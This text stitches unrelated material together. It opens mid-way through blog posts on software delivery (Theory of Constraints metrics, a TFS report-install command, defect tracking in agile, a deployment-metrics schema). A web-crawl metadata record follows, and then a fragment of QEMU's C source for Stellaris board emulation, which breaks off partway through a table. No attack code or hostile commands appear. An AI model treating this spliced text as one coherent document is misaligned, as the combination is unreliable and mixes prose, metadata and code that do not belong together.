The plan is to have developers do code reviews any time WIP stops the movement of work. Also, developers should create automated tests to help lessen the work that QA has to do. The reason we don’t first focus on optimizing QA processes is because focusing on simply optimizing QA processes would actually increases the capacity for QA without increasing the speed at which we can flow work to production. We don’t want to increase the number of features that QA can handle. We also don’t want to speed up manual testing because it is important to take the proper time in testing. What we want to do is remove manual regression as work for QA to open us up to deliver new features to QA faster and get QA to deliver the feature to production faster. QA can focus on what they do best, test. Not running mundane scripted checks.
Normally, we would have to wait for a manual regression test cycle to occur and couldn’t introduce new work because it would invalidate the regression test. With automation handling +80% of regression QA can move faster, actually test more, and we can not only increase throughput through the entire system, but the overall quality of the product.
Monitoring Delivery Pipeline
We track work through the delivery pipeline as features. A feature in this sense is any change, new function, change existing function, or to fix a defect. Features are requested on features kept in a central database. We monitor the delivery pipeline by measuring:
• Inventory
• Lead Time
• Quantity: Unit of Production
• Production Rate
Inventory
Inventory (V) is any work that has not been delivered to the customer. This counts all work from the backlog to a release awaiting production deployment. Whenever there is undelivered work that is considered invalid it becomes an Operational Expense. Invalid meaning it won’t be delivered at all or there are issues like defect or doesn’t match spec. Invalid work is wasted effort and in the case of a defect causes expensive un-budgeted rework. In traditional cost accounting inventory is seen as an asset, but in TOC it is a “potential” Operational Expense if it is not eventually delivered to customer so turning inventory as fast as possible without injecting defects is a goal.
Quantity: Unit of Production
Quantity: Unit of Production (Q) is the total number of units of work (feature) that have moved through our delivery pipeline to date. Our unit of production is a feature. When a feature is ready to be deployed to production we can increase Q one unit, but the feature is still considered inventory until it has been delivered to customer. If a customer decides they don’t want the feature or some other reason to stop the deployment of the feature, it is counted as an Operational Expense and Q is reduced one unit.
Lead Time
Lead time (LT) is the time it takes to move a feature, one Q, from submission to the backlog to deployed to a customer in production.
Production Rate
Production rate (PR) is the number of Q delivered during a time period. 3 features per month, 2 features per week…
Optimize Delivery Pipeline for Lead Time
We should strive to optimize the delivery pipeline for lead time instead of production rate. The Theory Of Constraints – Productivity Metrics in Software Development posted on lostechies.com explains this well.
Let’s say our current lead time (LT) is 1 unit (Q) in a week or a production rate (PR) of 4 Q per month. If we optimize LT to 1 Q in 3 days, we will see a jump in PR to 6.67 Q per month or a 59% increase.
If we focus on optimizing PR, we may still see improvement in LT, but it can also lead to only an increase in inventory. The PR optimization may increase Q that is undeliverable because of some bottleneck in our system so the Q sits as inventory. The longer a feature sits in inventory the more it costs to move it through the pipeline and address any issues found in later stages of the pipeline.
So, to make sure we are optimizing for LT we focus on reducing waste or inventory in the pipeline. The delivery team keeps a single purposed focused on a limited amount of work in progress to deliver what the customer needs right now, based on priority in the backlog. Reducing inventory reduces Operation Expense. (Excuse me if I am allowing some lean thinking into this TOC explanation)
Metrics
Investment
Investment (I) is the total cost invested in the pipeline. In our case we will count this as hours invested.
Operating Expense
Operating expense (OE) is the cost of taking an idea and developing it to a deliverable. Any fixed overhead is considered OE. We will just use salaries of not only developers, but BA, QA, IT as our OE. Not sure how we will divide up our fixed salaries (still learning).
Throughput
Throughput (T) is the amount earned per Q. It is calculated by taking the amount of features delivered to production minus the cost of delivering the feature.
Throughput Accounting
To maximize ROI and net profit (NP) we need to increase T while decreasing I and OE.
NP = (T – OE)
ROI = NP/ I
Average Cost Per Feature
Average cost per feature (ACPF) is the average amount spent in the pipeline to create a feature.
ACPF = OE/Q
There are more metrics that we can gather, monitor, and analyze; but we will keep it simple for now and learn to crawl first.
Average Lead Time Per Feature
The average time it takes to move a feature from the backlog to production. We also calculate the standard deviation to get a sense on how varying work sizes in the pipeline affects lead time.
Bonus: Estimating Becomes Easier
When we begin to monitor our pipeline with these metrics estimating becomes simpler. Instead of estimating based on time we switch to estimating based on size of feature. Since we are tracking work, we have a history to base our future size estimates on.
Issues in Transformation
Our current Q is a release, a group of features that have been grouped together for a deployment. We will build up an inventory of features over a month at times before they are delivered to production. This causes an increase in inventory. It would be better to use a feature instead of a release as our Q. When a feature is ready, deliver it. This reduces inventory and increase the speed at which we get feedback.
To change our unit, Q, to feature we have to attack our largest constraint, QA. Currently, we have to sit on features or build up inventory to get enough to justify a QA test cycle. We don’t want to force a two week regression on one feature that took a couple days to complete. So, reducing the test cycle is paramount with this approach.
References
The Goal: A Process of Ongoing Improvement, by Eliyahu M. Goldratt
The Phoenix Project: A Novel About IT, DevOps, and Helping Your Business Win, by Gene Kim, Kevin Behr, and George Spafford.
The Metrics in TOC: Productivity Metrics In Software Development, by Derick Bailey, https://lostechies.com/wp-content/uploads/2011/04/TheoryOfConstraints-ProductivityMetricsInSoftwareDevelopment.pdf
Agile Management for Software Engineering, by David J. Anderson
Reaching The Goal, by John Arthur Ricketts
Applying Theory of Constraints to Manage Bottlenecks, by Kamran Khan, http://www.isixsigma.com/methodology/theory-of-constraints/applying-theory-constraints-manage-bottlenecks/
http://chronologist.com/blog/2012-07-27/theory-of-constraints-and-software-engineering/
http://chronologist.com/blog/2012-10-04/buffer-management-and-risk-management-in-TOC/
https://www.timecockpit.com/blog/2013/08/30/Project-Reporting-in-Agile-Projects
Adding Report to Existing TFS 2017 Project
I had an issue where I couldn’t see reports for my TFS projects because they weren’t installed. I knew this because I opened SQL Reporting Services and I didn’t see a folder for my project under the TFS collection’s folder. I did a little digging and found a command that I could run to install the reports:
1. Open administrator command prompt on server hosting TFS.
2. Change directory to C:\Program Files\Microsoft Team Foundation Server 15.0\Tools
Note: 64bit would be Program Files (x86)
3. Run TFSConfig command to add project reports
TFSConfig addprojectreports /collection:”https://{TFSServerName}/{TFSCollectionName}” /teamproject:{TFSProjectName} /template:”Scrum”
You should replace the tokens with names that fit your context (remove the brackets). The template will be the template for your project:
• Scrum – you will have backlog items under features
• Agile – you will have stories under features
There’s another one, CMMI, but I’ve never used it. You should see a requirements work item, but I’m not sure if this template has a feature item.
Once you run the command, the reports will be added and you will be able to see how your team is doing by viewing the reports in SQL Reporting Services.
If It Looks Like a Defect is It a Defect?
Our software quality metrics work group had a discussion today and metrics around defects became an interesting topic. One of the work group members said that the concept of a defect is not relevant to agile teams. This was clarified as defect metrics within the confines of an agile sprint. I felt kind of dumb, because I didn’t know this and it appeared that there may be a consensus with it. Maybe I misunderstood, but the logic was that there are no defects in sprint because once a problem is found it is immediately fixed in the sprint. I wanted to push for defect metrics from check-in through production. The later in the software delivery pipeline that a defect is found the more it will cost, so you have to know where it was caught. I didn’t get to dig in to the topic with the group because I was contemplating whether I needed to revisit my understanding of Agile and I didn’t want to slow the group down. I already feel like a lightweight in the ring with a bunch of heavyweights :).
Defects Cost Money
After pondering it a bit, I am still of the opinion that defects exists whether you name them something else, quietly fix them before anyone notices, or collectively as a team agree not to track them. Defects are an unavoidable artifact of software development. Defect, bug, issue…it doesn’t work as expected, name it what you like or obscure it in the process, defects are always there and will be until humans and computers become perfect beings. Defects cost money when more than one person has to deal with them. If a defect is caught in an exploratory test and it is acknowledged that it must be fixed in sprint, then it will have to be retested after the fix. Pile this double testing cost on top of the development cost and defects can get expensive.
Not to mentions, defects slow sprints down. When you estimated a certain amount of story points, let’s say 2, and ultimately the story was an 8 because of misunderstandings and bad coding practices, there is a cost associated with this. Maybe estimates are stable or perfect in mature hard core Agile teams or defects just another chore in the process that don’t warrant tracking or analysis. For new teams just making the transition to agile, tracking defects provides an additional signal that something is wrong in the process. If you are unable to see where your estimate overruns are occurring you can’t take action to fix them.
Conclusion
If someone besides the developer finds a defect, the story should be rejected. At the end of the sprint we should be able to see how many rejections there were and at what stage the rejects occurred in the pipeline. If these number are high or trending up, especially later in the pipeline, something needs to be done and you know there is a problem because you tracked defects. It may be my lack of experience in a hard core Agile team, but I just can’t see a reason to ignore defects just because they are supposed to be fixed in sprint.
Can someone help me see the light? I thought I was agile’ish. I am sure there is an agile expert out there than can give me another view of what defects mean in agile and how my current thought process is out of place in agile. I think my fellow group members are awesome, but I usually look for a second opinion in topics I am unsure about.
Optimizing the Software Delivery Pipeline: Deployment Metrics
Currently, I have no way of easily determining what build version is deployed to an environment. This made me take more interest in metrics about deployments, we basically have none. I can look at the the CD (continuous deployment) server and see what time a deployment was done and I can look at the builds on the server and sort of deduce which build was deployed, but I have to manually check the server to verify my assumptions. I wondered what else I am missing. Am I flying blind, should I know more?
Metrics in the Software Delivery Pipeline
I am part of a work group that is exploring software quality metrics. So, my first instinct was to think about deployment quality metrics. After some soul searching, I decided what would be most helpful to me is to know where our bottle necks are. We have an assembly line or pipeline that consists of various stages our software goes through as it makes its way to public consumption. Develop, build, deploy, test, and release are the major phases of our software delivery pipeline (I am not including planning or analysis right now as that is another animal).
I believe that metrics that focus on reducing time in our software delivery pipeline will be more effective than just focusing on reducing defects or increasing quality. If we can reduce defects or increase quality in faster delivery iterations, the effect of defects and poor quality will have less of an impact. This is the point of quality metrics in the first place, reducing the effects of poor quality on our customers and the business. Focusing on reducing time in the pipeline also supports our quality initiatives as the tools to reduce time, like automated CI and testing, not only reduce iteration time, but improve quality. Faster release iterations will allow us to address quality issues quicker. This is not to say that other metrics should be ignored. I just think that since we have no real metrics at the moment starting with metrics that support speeding up the pipe is a worthy first step.
Deployment Metrics
Back to the point. What metrics should I capture for deployments. If my goal is to increase throughput in the pipeline, I need to identify bottlenecks. So, I need some timing data.
• How long does deployment take?
• How long do the individual deployment steps take?
• How do we report this over time so we can identify issues?
This is pretty simple and I can extract it from the deployment log on the server. Reporting would be just a matter of querying this data and displaying deployment time totals over time.
Additional Deployment Metrics
In addition to the timing data it may be worthwhile to capture additional metrics like the size of deployment. Deploying involves pushing packages across wires and the size of the packages can have an effect on deployment time. Issues with individual servers can affect deployment time so, knowing the servers being deployed to can help identify server issues. With the timing data, we can also capture
• The version of the build being deployed
• The environment being deployed to
• The individual servers being deployed to
• The size and version of the packages being deployed to a server
Deployment Data
So, my first iteration of metrics center around timing, but would also have other data to give a more robust picture of deployments. This is a naive first draft of what the data schema could look like. I would suspect that this can all be captured on most CI/CD servers and augmented with data generated by the reporting tool:
• Deployment Id – a unique identifier for the deployment, generated by the reporting tool
• Environment Id – a unique identifier for the environment deployed to, generated by the reporting tool
• Build Version – build version should be the version captured on the server
• Timestamp – timestamp is the date/time the deployment record was created
• Start – the date/time the deployment started
• End – the date/time the deployment completed
• Tasks – tasks are the individual steps taken by the deployment script; it is possible that there is only one step, it all depends on how deployment is scripted
• Deployment Task Id – a unique identifier for the task, generated by the reporting tool
• Server Id – a unique identifier for the physical server deployed to, generated by the reporting tool
• Packages – packages represent the group of files pushed to the server, this is normally a zip or NuGet package in my scenarios
• Package Version – the version of the package being pushed, this may be different than the software version and is generated outside of the reporting tool
• Package Size – the physical size of the package in KB or MB (not sure which is better)
• Start – the date/time the deployment to the server started
• End – the date/time the deployment to the server ended
Imagine the above as some beautiful XML, JSON, or ProtoBuf, because I am too lazy to write it.
If my goal is to increase throughput in the pipe I should probably think about a higher level of abstraction in the hierarchy so that I can relate metrics from other parts of the pipeline. For now I will focus on this as a first step to prove that this is doable and provides some value.
All I need to do is a create data parsing tool that can be called by the deployment server once a deployment is done. The tool will receive the server log and store it, parse the log and generate a data structure similar to above, then store the data in a database. Then I have to create a reporting tool that can present graphs and charts of the data for easy analysis. Lastly, create an API that will allow other tools to consume the data. This maybe a job for CQRS and event sourcing. Easy right :). I know there is a tool for that, but I am a sucker for punishment.
Conclusion
This post will take more time than I thought so I will make this a series. I will cover my thoughts on metrics for development, build, test, and release in upcoming posts (if I can remember). Then possibly some posts on my thoughts on how the metrics and tools can be used to optimize the pipeline. Pretty ambitious, but sounds like fun to me.
|
{
"url": "https://decoupledlogic.com/category/pipeline/analytics/",
"source_domain": "decoupledlogic.com",
"snapshot_id": "crawl=CC-MAIN-2018-22",
"warc_metadata": {
"Content-Length": "82570",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5HVG4Z6JOM72XQUDBME64GRYCBKGW35N",
"WARC-Concurrent-To": "<urn:uuid:48b1eecb-15c9-4f4f-b4e7-e3b95fbbfca9>",
"WARC-Date": "2018-05-26T08:22:24Z",
"WARC-IP-Address": "192.0.78.24",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RDC4M2ISR4FHKPLU3JM7YV6ZO2O5KSK2",
"WARC-Record-ID": "<urn:uuid:c7c9e492-2608-4453-9322-c52b6a79c1bc>",
"WARC-Target-URI": "https://decoupledlogic.com/category/pipeline/analytics/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:6d18e5b0-9739-4210-9952-e3085f664c4e>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-47-226-141.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
20,
21,
45,
46,
343,
344,
935,
936,
1419,
1420,
1670,
1671,
2777,
2778,
3100,
3101,
3188,
3243,
3409,
3533,
3545,
3546,
4374,
4375,
4723,
4724,
4753,
4754,
5020,
5021,
5035,
5049,
5082,
5102,
5103,
5113,
5114,
5797,
5798,
5827,
5828,
6345,
6346,
6356,
6357,
6491,
6492,
6508,
6509,
6624,
6625,
6666,
6667,
6878,
6879,
7084,
7085,
7483,
7484,
7873,
7874,
7882,
7883,
7894,
7895,
8004,
8005,
8023,
8024,
8294,
8295,
8306,
8307,
8466,
8467,
8489,
8490,
8575,
8576,
8590,
8591,
8603,
8604,
8629,
8630,
8727,
8728,
8740,
8741,
8867,
8868,
8898,
8899,
9092,
9093,
9126,
9127,
9382,
9383,
9385,
9386,
9411,
9412,
9829,
9830,
10170,
10171,
10182,
10183,
10250,
10251,
10375,
10376,
10575,
10576,
10640,
10641,
10684,
10685,
10862,
10863,
10951,
10952,
11038,
11039,
11119,
11120,
11122,
11123,
11125,
11126,
11128,
11129,
11172,
11173,
11481,
11482,
11544,
11630,
11675,
11725,
11726,
11860,
11861,
11999,
12000,
12055,
12104,
12105,
12251,
12252,
12405,
12406,
12448,
12449,
13447,
13448,
13467,
13468,
14226,
14227,
14861,
14862,
14873,
14874,
15414,
15415,
15757,
15758,
15820,
15821,
16328,
16329,
16371,
16372,
16934,
16935,
17845,
17846,
17865,
17866,
18047,
18048,
18083,
18137,
18200,
18201,
18387,
18388,
18418,
18419,
18822,
18823,
18867,
18905,
18950,
19018,
19019,
19035,
19036,
19363,
19364,
19456,
19562,
19641,
19718,
19767,
19816,
19980,
20073,
20180,
20313,
20475,
20570,
20635,
20696,
20697,
20792,
20793,
21081,
21082,
21652,
21653,
21664,
21665
],
"line_end_idx": [
20,
21,
45,
46,
343,
344,
935,
936,
1419,
1420,
1670,
1671,
2777,
2778,
3100,
3101,
3188,
3243,
3409,
3533,
3545,
3546,
4374,
4375,
4723,
4724,
4753,
4754,
5020,
5021,
5035,
5049,
5082,
5102,
5103,
5113,
5114,
5797,
5798,
5827,
5828,
6345,
6346,
6356,
6357,
6491,
6492,
6508,
6509,
6624,
6625,
6666,
6667,
6878,
6879,
7084,
7085,
7483,
7484,
7873,
7874,
7882,
7883,
7894,
7895,
8004,
8005,
8023,
8024,
8294,
8295,
8306,
8307,
8466,
8467,
8489,
8490,
8575,
8576,
8590,
8591,
8603,
8604,
8629,
8630,
8727,
8728,
8740,
8741,
8867,
8868,
8898,
8899,
9092,
9093,
9126,
9127,
9382,
9383,
9385,
9386,
9411,
9412,
9829,
9830,
10170,
10171,
10182,
10183,
10250,
10251,
10375,
10376,
10575,
10576,
10640,
10641,
10684,
10685,
10862,
10863,
10951,
10952,
11038,
11039,
11119,
11120,
11122,
11123,
11125,
11126,
11128,
11129,
11172,
11173,
11481,
11482,
11544,
11630,
11675,
11725,
11726,
11860,
11861,
11999,
12000,
12055,
12104,
12105,
12251,
12252,
12405,
12406,
12448,
12449,
13447,
13448,
13467,
13468,
14226,
14227,
14861,
14862,
14873,
14874,
15414,
15415,
15757,
15758,
15820,
15821,
16328,
16329,
16371,
16372,
16934,
16935,
17845,
17846,
17865,
17866,
18047,
18048,
18083,
18137,
18200,
18201,
18387,
18388,
18418,
18419,
18822,
18823,
18867,
18905,
18950,
19018,
19019,
19035,
19036,
19363,
19364,
19456,
19562,
19641,
19718,
19767,
19816,
19980,
20073,
20180,
20313,
20475,
20570,
20635,
20696,
20697,
20792,
20793,
21081,
21082,
21652,
21653,
21664,
21665,
22008
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 22008,
"ccnet_original_nlines": 225,
"rps_doc_curly_bracket": 0.0002726299862843007,
"rps_doc_ldnoobw_words": 2,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42655110359191895,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03763686120510101,
"rps_doc_frac_lines_end_with_ellipsis": 0.0044247801415622234,
"rps_doc_frac_no_alph_words": 0.13366788625717163,
"rps_doc_frac_unique_words": 0.2514604330062866,
"rps_doc_mean_word_length": 4.65932035446167,
"rps_doc_num_sentences": 194,
"rps_doc_symbol_to_word_ratio": 0.000684309983626008,
"rps_doc_unigram_entropy": 5.7659406661987305,
"rps_doc_word_count": 3766,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.057559698820114136,
"rps_doc_frac_chars_dupe_6grams": 0.03556162863969803,
"rps_doc_frac_chars_dupe_7grams": 0.02940673939883709,
"rps_doc_frac_chars_dupe_8grams": 0.015102299861609936,
"rps_doc_frac_chars_dupe_9grams": 0.003989289980381727,
"rps_doc_frac_chars_top_2gram": 0.007693619932979345,
"rps_doc_frac_chars_top_3gram": 0.007408670149743557,
"rps_doc_frac_chars_top_4gram": 0.005812960211187601,
"rps_doc_books_importance": -1811.21875,
"rps_doc_books_importance_length_correction": -1811.21875,
"rps_doc_openwebtext_importance": -931.1629638671875,
"rps_doc_openwebtext_importance_length_correction": -931.1629638671875,
"rps_doc_wikipedia_importance": -625.1373291015625,
"rps_doc_wikipedia_importance_length_correction": -625.1373291015625
},
"fasttext": {
"dclm": 0.03231823071837425,
"english": 0.9457541108131409,
"fineweb_edu_approx": 1.556187391281128,
"eai_general_math": 0.5571534037590027,
"eai_open_web_math": 0.2076895833015442,
"eai_web_code": 0.29757213592529297
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.403",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,197,119,867,796,658,000 |
linux-user: stack_base is now mandatory on all targets
[qemu.git] / hw / stellaris.c
1 /*
2 * Luminary Micro Stellaris peripherals
3 *
4 * Copyright (c) 2006 CodeSourcery.
5 * Written by Paul Brook
6 *
7 * This code is licensed under the GPL.
8 */
9
10 #include "sysbus.h"
11 #include "ssi.h"
12 #include "arm-misc.h"
13 #include "devices.h"
14 #include "qemu-timer.h"
15 #include "i2c.h"
16 #include "net.h"
17 #include "boards.h"
18 #include "exec-memory.h"
19
20 #define GPIO_A 0
21 #define GPIO_B 1
22 #define GPIO_C 2
23 #define GPIO_D 3
24 #define GPIO_E 4
25 #define GPIO_F 5
26 #define GPIO_G 6
27
28 #define BP_OLED_I2C 0x01
29 #define BP_OLED_SSI 0x02
30 #define BP_GAMEPAD 0x04
31
32 typedef const struct {
33 const char *name;
34 uint32_t did0;
35 uint32_t did1;
36 uint32_t dc0;
37 uint32_t dc1;
38 uint32_t dc2;
39 uint32_t dc3;
40 uint32_t dc4;
41 uint32_t peripherals;
42 } stellaris_board_info;
43
44 /* General purpose timer module. */
45
46 typedef struct gptm_state {
47 SysBusDevice busdev;
48 MemoryRegion iomem;
49 uint32_t config;
50 uint32_t mode[2];
51 uint32_t control;
52 uint32_t state;
53 uint32_t mask;
54 uint32_t load[2];
55 uint32_t match[2];
56 uint32_t prescale[2];
57 uint32_t match_prescale[2];
58 uint32_t rtc;
59 int64_t tick[2];
60 struct gptm_state *opaque[2];
61 QEMUTimer *timer[2];
62 /* The timers have an alternate output used to trigger the ADC. */
63 qemu_irq trigger;
64 qemu_irq irq;
65 } gptm_state;
66
67 static void gptm_update_irq(gptm_state *s)
68 {
69 int level;
70 level = (s->state & s->mask) != 0;
71 qemu_set_irq(s->irq, level);
72 }
73
74 static void gptm_stop(gptm_state *s, int n)
75 {
76 qemu_del_timer(s->timer[n]);
77 }
78
79 static void gptm_reload(gptm_state *s, int n, int reset)
80 {
81 int64_t tick;
82 if (reset)
83 tick = qemu_get_clock_ns(vm_clock);
84 else
85 tick = s->tick[n];
86
87 if (s->config == 0) {
88 /* 32-bit CountDown. */
89 uint32_t count;
90 count = s->load[0] | (s->load[1] << 16);
91 tick += (int64_t)count * system_clock_scale;
92 } else if (s->config == 1) {
93 /* 32-bit RTC. 1Hz tick. */
94 tick += get_ticks_per_sec();
95 } else if (s->mode[n] == 0xa) {
96 /* PWM mode. Not implemented. */
97 } else {
98 hw_error("TODO: 16-bit timer mode 0x%x\n", s->mode[n]);
99 }
100 s->tick[n] = tick;
101 qemu_mod_timer(s->timer[n], tick);
102 }
103
104 static void gptm_tick(void *opaque)
105 {
106 gptm_state **p = (gptm_state **)opaque;
107 gptm_state *s;
108 int n;
109
110 s = *p;
111 n = p - s->opaque;
112 if (s->config == 0) {
113 s->state |= 1;
114 if ((s->control & 0x20)) {
115 /* Output trigger. */
116 qemu_irq_pulse(s->trigger);
117 }
118 if (s->mode[0] & 1) {
119 /* One-shot. */
120 s->control &= ~1;
121 } else {
122 /* Periodic. */
123 gptm_reload(s, 0, 0);
124 }
125 } else if (s->config == 1) {
126 /* RTC. */
127 uint32_t match;
128 s->rtc++;
129 match = s->match[0] | (s->match[1] << 16);
130 if (s->rtc > match)
131 s->rtc = 0;
132 if (s->rtc == 0) {
133 s->state |= 8;
134 }
135 gptm_reload(s, 0, 0);
136 } else if (s->mode[n] == 0xa) {
137 /* PWM mode. Not implemented. */
138 } else {
139 hw_error("TODO: 16-bit timer mode 0x%x\n", s->mode[n]);
140 }
141 gptm_update_irq(s);
142 }
143
144 static uint64_t gptm_read(void *opaque, target_phys_addr_t offset,
145 unsigned size)
146 {
147 gptm_state *s = (gptm_state *)opaque;
148
149 switch (offset) {
150 case 0x00: /* CFG */
151 return s->config;
152 case 0x04: /* TAMR */
153 return s->mode[0];
154 case 0x08: /* TBMR */
155 return s->mode[1];
156 case 0x0c: /* CTL */
157 return s->control;
158 case 0x18: /* IMR */
159 return s->mask;
160 case 0x1c: /* RIS */
161 return s->state;
162 case 0x20: /* MIS */
163 return s->state & s->mask;
164 case 0x24: /* CR */
165 return 0;
166 case 0x28: /* TAILR */
167 return s->load[0] | ((s->config < 4) ? (s->load[1] << 16) : 0);
168 case 0x2c: /* TBILR */
169 return s->load[1];
170 case 0x30: /* TAMARCHR */
171 return s->match[0] | ((s->config < 4) ? (s->match[1] << 16) : 0);
172 case 0x34: /* TBMATCHR */
173 return s->match[1];
174 case 0x38: /* TAPR */
175 return s->prescale[0];
176 case 0x3c: /* TBPR */
177 return s->prescale[1];
178 case 0x40: /* TAPMR */
179 return s->match_prescale[0];
180 case 0x44: /* TBPMR */
181 return s->match_prescale[1];
182 case 0x48: /* TAR */
183 if (s->control == 1)
184 return s->rtc;
185 case 0x4c: /* TBR */
186 hw_error("TODO: Timer value read\n");
187 default:
188 hw_error("gptm_read: Bad offset 0x%x\n", (int)offset);
189 return 0;
190 }
191 }
192
193 static void gptm_write(void *opaque, target_phys_addr_t offset,
194 uint64_t value, unsigned size)
195 {
196 gptm_state *s = (gptm_state *)opaque;
197 uint32_t oldval;
198
199 /* The timers should be disabled before changing the configuration.
200 We take advantage of this and defer everything until the timer
201 is enabled. */
202 switch (offset) {
203 case 0x00: /* CFG */
204 s->config = value;
205 break;
206 case 0x04: /* TAMR */
207 s->mode[0] = value;
208 break;
209 case 0x08: /* TBMR */
210 s->mode[1] = value;
211 break;
212 case 0x0c: /* CTL */
213 oldval = s->control;
214 s->control = value;
215 /* TODO: Implement pause. */
216 if ((oldval ^ value) & 1) {
217 if (value & 1) {
218 gptm_reload(s, 0, 1);
219 } else {
220 gptm_stop(s, 0);
221 }
222 }
223 if (((oldval ^ value) & 0x100) && s->config >= 4) {
224 if (value & 0x100) {
225 gptm_reload(s, 1, 1);
226 } else {
227 gptm_stop(s, 1);
228 }
229 }
230 break;
231 case 0x18: /* IMR */
232 s->mask = value & 0x77;
233 gptm_update_irq(s);
234 break;
235 case 0x24: /* CR */
236 s->state &= ~value;
237 break;
238 case 0x28: /* TAILR */
239 s->load[0] = value & 0xffff;
240 if (s->config < 4) {
241 s->load[1] = value >> 16;
242 }
243 break;
244 case 0x2c: /* TBILR */
245 s->load[1] = value & 0xffff;
246 break;
247 case 0x30: /* TAMARCHR */
248 s->match[0] = value & 0xffff;
249 if (s->config < 4) {
250 s->match[1] = value >> 16;
251 }
252 break;
253 case 0x34: /* TBMATCHR */
254 s->match[1] = value >> 16;
255 break;
256 case 0x38: /* TAPR */
257 s->prescale[0] = value;
258 break;
259 case 0x3c: /* TBPR */
260 s->prescale[1] = value;
261 break;
262 case 0x40: /* TAPMR */
263 s->match_prescale[0] = value;
264 break;
265 case 0x44: /* TBPMR */
266 s->match_prescale[0] = value;
267 break;
268 default:
269 hw_error("gptm_write: Bad offset 0x%x\n", (int)offset);
270 }
271 gptm_update_irq(s);
272 }
273
274 static const MemoryRegionOps gptm_ops = {
275 .read = gptm_read,
276 .write = gptm_write,
277 .endianness = DEVICE_NATIVE_ENDIAN,
278 };
279
280 static const VMStateDescription vmstate_stellaris_gptm = {
281 .name = "stellaris_gptm",
282 .version_id = 1,
283 .minimum_version_id = 1,
284 .minimum_version_id_old = 1,
285 .fields = (VMStateField[]) {
286 VMSTATE_UINT32(config, gptm_state),
287 VMSTATE_UINT32_ARRAY(mode, gptm_state, 2),
288 VMSTATE_UINT32(control, gptm_state),
289 VMSTATE_UINT32(state, gptm_state),
290 VMSTATE_UINT32(mask, gptm_state),
291 VMSTATE_UNUSED(8),
292 VMSTATE_UINT32_ARRAY(load, gptm_state, 2),
293 VMSTATE_UINT32_ARRAY(match, gptm_state, 2),
294 VMSTATE_UINT32_ARRAY(prescale, gptm_state, 2),
295 VMSTATE_UINT32_ARRAY(match_prescale, gptm_state, 2),
296 VMSTATE_UINT32(rtc, gptm_state),
297 VMSTATE_INT64_ARRAY(tick, gptm_state, 2),
298 VMSTATE_TIMER_ARRAY(timer, gptm_state, 2),
299 VMSTATE_END_OF_LIST()
300 }
301 };
302
303 static int stellaris_gptm_init(SysBusDevice *dev)
304 {
305 gptm_state *s = FROM_SYSBUS(gptm_state, dev);
306
307 sysbus_init_irq(dev, &s->irq);
308 qdev_init_gpio_out(&dev->qdev, &s->trigger, 1);
309
310 memory_region_init_io(&s->iomem, &gptm_ops, s,
311 "gptm", 0x1000);
312 sysbus_init_mmio(dev, &s->iomem);
313
314 s->opaque[0] = s->opaque[1] = s;
315 s->timer[0] = qemu_new_timer_ns(vm_clock, gptm_tick, &s->opaque[0]);
316 s->timer[1] = qemu_new_timer_ns(vm_clock, gptm_tick, &s->opaque[1]);
317 vmstate_register(&dev->qdev, -1, &vmstate_stellaris_gptm, s);
318 return 0;
319 }
320
321
322 /* System controller. */
323
324 typedef struct {
325 MemoryRegion iomem;
326 uint32_t pborctl;
327 uint32_t ldopctl;
328 uint32_t int_status;
329 uint32_t int_mask;
330 uint32_t resc;
331 uint32_t rcc;
332 uint32_t rcc2;
333 uint32_t rcgc[3];
334 uint32_t scgc[3];
335 uint32_t dcgc[3];
336 uint32_t clkvclr;
337 uint32_t ldoarst;
338 uint32_t user0;
339 uint32_t user1;
340 qemu_irq irq;
341 stellaris_board_info *board;
342 } ssys_state;
343
344 static void ssys_update(ssys_state *s)
345 {
346 qemu_set_irq(s->irq, (s->int_status & s->int_mask) != 0);
347 }
348
349 static uint32_t pllcfg_sandstorm[16] = {
350 0x31c0, /* 1 Mhz */
351 0x1ae0, /* 1.8432 Mhz */
352 0x18c0, /* 2 Mhz */
353 0xd573, /* 2.4576 Mhz */
354 0x37a6, /* 3.57954 Mhz */
355 0x1ae2, /* 3.6864 Mhz */
356 0x0c40, /* 4 Mhz */
357 0x98bc, /* 4.906 Mhz */
